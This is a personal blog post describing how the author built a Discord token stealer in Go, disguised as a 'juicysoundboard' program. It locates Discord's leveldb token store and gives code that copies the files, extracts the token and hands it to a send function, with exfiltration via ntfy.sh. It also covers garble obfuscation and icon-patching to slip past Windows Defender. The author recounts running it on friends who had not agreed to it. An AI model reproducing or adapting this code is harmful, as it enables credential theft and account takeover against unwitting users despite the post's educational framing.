Preface

I usually hang in a Discord server with friends. Bored and depressed, I decided that I wanted to make a program to troll people that open it.

The idea was to know who open the program and open 20 tabs of rickroll on their PC. Easy.

I tested it on myself and a friend of mine had a lot of trust in me by just clicking an exe that a potential hacker sent him. I discovered some new things that I overlooked, especially for the previous blog post about bypassing Windows Defender.

Note: I’m not gonna explain how to effectly bypass Windows Defender here. This is just a blog post about how easy it is for a person to get access to sensitive data, and from the test that I pulled Windows Defender didn’t bother, only just some extra step because the binary was not signed.

Warning: this blog post is for educational purposes only, I take no responsability of whatever action other people will perform by reading this post. I’m sick and tired of people DM’s me that “malicious people will learn from your blog post”. Attackers are already out there, already carrying these types of attacks, affecting other people. Take this blog post as a lession on how easy it is for a person to create basic malwares.

Now we get into the fun part.

Make a plan

What are the key components that we need? How should we proceed? We have to locate where Discord saves the configuration file where the token is. We have to find a way to exfiltrate our data.

So I started with the hardest part. Where does Discord stores the token?

Finding the token

I had to look it up on the internet, but it only showed up the Console of Electron. Keep in mind that Discord is a browser with some tweeks.

So I also googled “Cookies on Electron”, “Where does Electron storages files”, “Electron Storage path” to see if there’s a default way Electron operates.

It looks like there’s a pattern where Electron stores the data, which is C:\Users\<USER>\AppData\Roaming\<APPLICATION>.

Inside this path, I can see a folder called Session Storage, so I assumed that the data gets stored there, including the token, pefforza.

Pasted image 20220429180401.png

I have no clue of what I’m looking at.

Okay, let’s go on the next folder, Local Storage\leveldb

Pasted image 20220429192018.png

We got new clues: files than ends with ldb. A quick google research showed me that I’m dumb enough to not notice that it’s actually leveldb, which was already the folder where those files where stored.

Programming language

The last programming language that I studied is GoLang so I’m gonna use this one because it allows me to do cross-compile without too much pain. So I googled golang leveldb and explored the options and the library that I used is goleveldb.

Exfiltration

This one might be complex. There’s several ways you can do it. You could use Telegram Bot API, set up your own web server to store the data, whatever.

In this scenario, I use ntfy.sh. Knowing that I’m not gonna actually share the token with a server that I don’t know/trust, I’m just gonna create a poc.

Execution of the plan

We need a name for it, something catchy that has the ability to get the interest and attention of the people that might be on the server. No gifts or nitro, we already saw that. Instead, a “soundboard”. You know, those program that output music and audio “through” your microphone so other people can hear that too.

So we have a name: juicysoundboard.

Upon execution, juicy soundboard will collect the name of the user and the computer name and send it to ntfy.sh so I get a notification on my phone alongside the token of the account configured on their PC.

Program exits if it doesn’t find any folder.

Ran on some issue with getting the token from the database because of “Database already opened by another application”, so I decided to copy the content of the folder in a temporary one, extract the token and delete the evidence.

Note: I think that a good malware shouldn’t leave artifacts on the machine, but for the sake of semplicity, we’re gonna do that.

On the source code, here is how I will copy the database that stores the token:

func backup() {

	// Reading all the files inside the folder where the database is located.
	// appdata variable contains the enviorement variable value of %AppData% 
    files, errFiles := ioutil.ReadDir(appdata + "\\discord\\Local Storage\\leveldb\\")

	// No folder or other issue? Exit, bail it. We don't need to do anything if Discord is not installed/configured
    if errFiles != nil {
        fmt.Printf("Couldn't open dir: %s\n", errFiles.Error())
        os.Exit(1)
        return
    }

	// We cycle through the files, although we need only a couples of ones:
	// *.ldb, MANIFEST*, CURRENT
    for _, file := range files {
        if strings.HasSuffix(file.Name(), ".ldb") || strings.HasPrefix(file.Name(), "MANIFEST") || file.Name() == "CURRENT" {
	        
	        // If we found an interesting file, we read its content...
            srcData, srcErr := ioutil.ReadFile(appdata + "\\discord\\Local Storage\\leveldb\\" + file.Name())
            if srcErr != nil {
                continue
            }
            // and copy it in our tmp folder
            ioutil.WriteFile("./tmp/"+file.Name(), srcData, 0644)
        }
    }
}

After copying the files, we try to read the database:

func fetch() {
	// Delete the temporary folder when exiting the function
	defer os.RemoveAll("./tmp")
	// Setting up some option describing how we want to open the database.
    options := &opt.Options{
        NoSync:       true,
        NoWriteMerge: true,
        ReadOnly:     true,
    }
	// We open the database that's inside our folder
    db, dbErr := leveldb.OpenFile("./tmp", options)
    // If we can't open the files, abort and delete the folder.
    if dbErr != nil {
        fmt.Printf("Couldn't open db: %s\n", dbErr.Error())
        os.Exit(2)
    }
    // Close the db when we don't need it anymore
    defer db.Close()
    
    // Dirty hack, since db has weird chars in the keys,
    // We iterate it until we find the key that contains specific words
    iter := db.NewIterator(nil, nil)
    for iter.Next() {
	    dbkey := string(iter.Key()[:])
        if strings.Contains(dbkey, "token") && strings.Contains(dbkey, "discordapp.com") {
	        // Send the key to our server/service
            backupit(string(iter.Value()[:]))
        }
    }
    iter.Release()
}

I’m not gonna post the full code here, you could check it out in my github (if I decide to publish it).

Note that, in the actually source code that I compiled, I trunked the token before sending it. As much as exciting it is, I don’t want risk other people’s account neither I want to actually harm them.

Compiling and obfuscation

I learned my lession. It’s not easy to bypass AV especially when you are facing different ones. From my previous blog post about my adventure bypassing Windows Defender, we used a tool called garble to obfuscate the code.

garble -literals -tiny build -ldflags "-H=windowsgui" juicysoundboard.go

I thought it was it. But no. Windows Defender flagged it every single time. Doesn’t matter if I compiled it with obfuscation or not. It was still flagged.

In the meanwhile, a friend of mine that was testing my executables every single time I compiled said “you should put an icon to your executable to make it look more legit”.

He’s right. He’s so right. I googled how to apply icons to go binaries and I stubled upon go-winres. “A simple command line tool for embedding usual resources in Windows executables built with Go”.

Well. I guess we know where we’re heading.

I’m gonna copy and adjust the instruction from the readme:

  • Run go-winres init to create a winres directory
  • Modify the contents of winres.json
  • Run go-winres make to generate the needed files.
  • Compile the binary and run go-winres patch juicysoundboard.exe to patch the executable.

I then zipped the binary and paste it on the Discord chat.

Results

Running the binary myself resulted into not getting flagged by Windows Defender and get a callback with the discord token:

Pasted image 20220506130112.png

After a couple of people executing binary, I decided to give up to the “stealthyness” of the malware and upload it to VirusTotal, just to check what’s actually the detection ratio.

Pasted image 20220506125850.png

Bad, pretty bad. And guess what? It’s also due to the obfuscation technique. ESET-NOD32 quotes “A Variant Of WinGo/Packed.Obfuscated.A Suspicious”.

Pasted image 20220506125920.png

But I’m pretty happy about the result!

I contacted all the people that ran the binary and explained them what it does, and since I have a good relationship with them they were pretty much understanding and actually where interested and curious. I was willing to take responsability and I apologized to them. Most of them told me that they learned a lession and they will be more careful.